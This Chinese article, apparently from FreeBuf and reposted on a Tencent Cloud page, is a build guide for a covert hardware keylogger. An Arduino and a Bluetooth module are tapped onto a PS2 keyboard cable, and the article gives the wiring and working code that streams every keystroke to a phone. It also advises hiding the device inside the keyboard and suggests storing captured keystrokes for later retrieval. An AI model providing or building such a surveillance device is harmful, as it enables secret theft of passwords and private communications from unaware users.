50元制作PS2键盘无线监控装置

0x00 什么是Arduino

Arduino实际上就是一种开发板,将微控制器和必需的元件集成在一块电路板上,扩展出完善的接口和针脚,就可以接上各种各样的传感器,完成你心中的设计,你也可以把它理解成一种电子积木,因为它不需要焊接,也不需要高深的无线电知识,只需要编程基础和基本的电路知识即可。

Arduino 不需要知道各种硬件的底层知识,这些底层的调用都已经提前帮你实现好了,而且它使用的是c语言而不是汇编,配有一个官方的IDE和各种硬件的调用库,你只需要按照你自己的设计插接好各种硬件,就可以开始编写程序了,编写完之后烧写入微控制器(在arduino中这称为下载),它们会自动开始运行。其本身是一种开源硬件,电路图是公开的,现在官方的和扩展出的各种arduino板子加起来已经有上百种。

Aduino的官方网站:http://www.arduino.cc,要进行下面的内容,请在此下载arduino的官方IDE并安装,在IDE安装目录的drivers子目录中,有烧写arduino所需要的usb转串口驱动,必须要先安装驱动才能开始编程.

0x01 模块

1.arduino nano/micro/mini一个 30元左右

2.蓝牙模块一个 20元左右

3.若干导线 一坨3元左右

用山寨的nano(实战的话得把排针拔掉,焊上导线)也可,价格10元左右。mini也不错,价格也是10元左右,但是需要一个usb ttl来烧写程序。micro山寨的30元左右,这个比nano小点,跟mini差不多,这个板子可以模拟键盘和鼠标实现HID攻击,相当于teensy。指甲大小的lilypad兴许可以,我这里没有这个板子,不太清楚这个板子的情况。

而实战时,把arduino的排针拔掉,直接把这两个模块焊起来,大小就跟下面的差不多了,由于导线会比下面的略大一点。

0x02 思路

最初的思路是,利用micro板子接收ps2键盘然后在再有micro模拟成键盘转发出去。但是因为由于不能完全解码ps2键盘的按键信息,所以我就换了个思路。直接用板子并联在连接线上面,这样键盘发出按键信息后会沿着线路到达两个地方,一个是计算机,一个就是我们的记录器了。

0x03 原理

ps2口一共有6个针脚: clock时钟、GND接地、DATA数据和5V的供电,剩余的两个是没有使用的保留口,排列顺序如下图所示:

其中clock和data用于截获按键信息,剩余两个用于给键盘和装置供电。

接线图:

看起来连线有些眼花缭乱,事实上很简单的几下。键盘正常连接计算机不变,只需要在键盘连接计算机的线路中的这四根线引出导线连接在板子上即可。

蓝牙模块也同样需要连四根线

0x04 连接硬件

上图是装置的全部分,实战时把线路焊接起来而不用杜邦线和排针就可以压缩到u盘大小,而且供电直接取自键盘。可以把此装置塞到键盘当中实现隐秘监控,由于使用的不是转发的方法,即使电路故障(只要焊接好,可能性很低)也不会影响键盘的正常使用。焊好后大小就如同文章开头提到的。

0x05 烧写程序

首先需要下载一个库文件,解压放到arduino ide安装目录中的librarys文件夹中。然后使用arduino ide 给板子烧写程序,在工具菜单栏中选好板子的型号,在选号对应串口号。烧写以下程序:

#include <PS2Keyboard.h>

const int DataPin = 3;

const int IRQpin = 2;

PS2Keyboard keyboard;

void setup() {

delay(300);

keyboard.begin(DataPin, IRQpin);

Serial.begin(9600);

Serial.println("Keyboard Test:");

}

void loop() {

if (keyboard.available()) {

// read the next key

char c = keyboard.read();

// check for some of the special keys

if (c == PS2_ENTER) {

Serial.println();

} else if (c == PS2_TAB) {

Serial.print("[Tab]");

} else if (c == PS2_ESC) {

Serial.print("[ESC]");

} else if (c == PS2_PAGEDOWN) {

Serial.print("[PgDn]");

} else if (c == PS2_PAGEUP) {

Serial.print("[PgUp]");

} else if (c == PS2_LEFTARROW) {

Serial.print("[Left]");

} else if (c == PS2_RIGHTARROW) {

Serial.print("[Right]");

} else if (c == PS2_UPARROW) {

Serial.print("[Up]");

} else if (c == PS2_DOWNARROW) {

Serial.print("[Down]");

} else if (c == PS2_DELETE) {

Serial.print("[Del]");

} else {

Serial.print(c);

}

}

}

手机上面使用Bluetooth spp连接蓝牙串口,就可以看到键盘的实时按键信息了。我使用的是笔记本,没有ps2口,所以我用另一arduino板子当作计算机。所以你会看见视频里一坨东西,但装置只有两个小板子,其余都是为了模拟计算机。

视频中可以看到当按键后,手机的蓝牙端实时接收到按键数据,而同时计算机也收到了按键信息。可以看出这个装置是不影响键盘和计算机的通讯,只是听一听它们在聊什么。

0x06 其他问题

有些地方还需要完善:

1.功能键部分无法识别(但不影响键盘使用)

2.按键信息还可以通过更便宜、更小、传输距离更远的nrf24l01+,代码有点复杂(为我还没有研究明白)

3.arduino自身提供了EEPROM存储器,但是容量仅仅只有1k,所以没有往上面存储按键信息,如果加入关键字触发,才写入存储,兴许有点用。也可以用micro sd卡模块,将按键信息存储在存储卡中,等到有人连接装置后通过无线发送出去。我没买这个模块,所以这块没有做。

另外还可以做得更小更廉价!欢迎指教!

FreeBuf.COM独家文章,属原创文章奖励计划,未经许可禁止转载

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2015-02-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏小狼的世界

[每天五分钟,备战架构师-1]操作系统的类型和结构

计算机系统由硬件和软件两部分组成。操作系统是计算机系统中最基本的系统软件,它既管理计算机系统的软、硬件资源,又控制程序的执行。操作系统随着计算机研究和应用的发展...

1132
来自专栏AI科技评论

真正从零开始,TensorFlow详细图文安装入门教程!

GAIR 今年夏天,雷锋网将在深圳举办一场盛况空前的“全球人工智能与机器人创新大会”(简称GAIR)。大会现场,谷歌,DeepMind,Uber,微软等巨头的人...

41714
来自专栏.NET技术

正确理解CAP定理

  CAP的理解我也看了很多书籍,也看了不少同行的博文,基本每个人的理解都不一样,而布鲁尔教授得定义又太过的简单,没有具体描述和场景案例分析。因此自己参考部分资...

1322
来自专栏BestSDK

撩妹必备,3行代码伪造出一个“好莱坞黑客”屏幕

我攻进去了! 你可能会几乎在所有的好莱坞电影里面会听说过这句话,此时的荧幕正在显示着一个入侵的画面。那可能是一个黑色的终端伴随着 ASCII 码、图标和连续不断...

4515
来自专栏数据小魔方

用R语言照葫芦画瓢撸了一个简易代理~

最近正在刻苦的学习爬虫,陆陆续续的学习了正则表达式、xpath、css表达式,基本可以胜任R语言中的RCurl+XML、httr+rvest组合爬虫的需求,对G...

3757
来自专栏IT笔记

分布式与集群有什么区别

一个是3个字,另一个2个字 集群一般被分为三种类型,高可用集群(High-availability (HA) clusters )如RHCS、LifeKeepe...

3774
来自专栏Java后端生活

UUID

2654
来自专栏生信技能树

生信蓝领,一个不舍得分享的高通量数据分析框架

安装bcbio框架 软件安装 配置参考基因组 流程配置 手动创建 脚本创建 简单实战 总结 当我跑完一些分析流程,比如说RNA-Seq,重测序分析以后,我就想到...

55911
来自专栏喔家ArchiSelf

解读六边形架构

追溯微服务架构的渊源,一般会涉及到六边形架构。追溯六边形架构的起源,要看始作俑者Alistair Cockburn的这篇文章 http://alistair.c...

1623
来自专栏程序你好

微服务架构入门(Micro-Architecture)

1345

扫码关注云+社区

领取腾讯云代金券